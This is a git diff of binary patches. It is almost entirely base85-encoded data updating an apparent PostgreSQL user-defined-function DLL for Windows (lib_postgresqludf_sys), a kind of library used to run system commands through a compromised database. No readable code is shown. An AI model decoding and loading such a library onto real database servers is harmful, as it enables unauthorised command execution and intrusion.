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 diff --git a/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ b/data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ index d7e0c8a46a54c42b43e5753a8e8dadce1709989c..5e8fafd2e868f2d6eb61632e9879ff28f86ab416 100644 GIT binary patch literal 4755 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 hA((`YdYi={p%>>4%hl{a*^xJ6g6XIixkP?i7y literal 4755 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 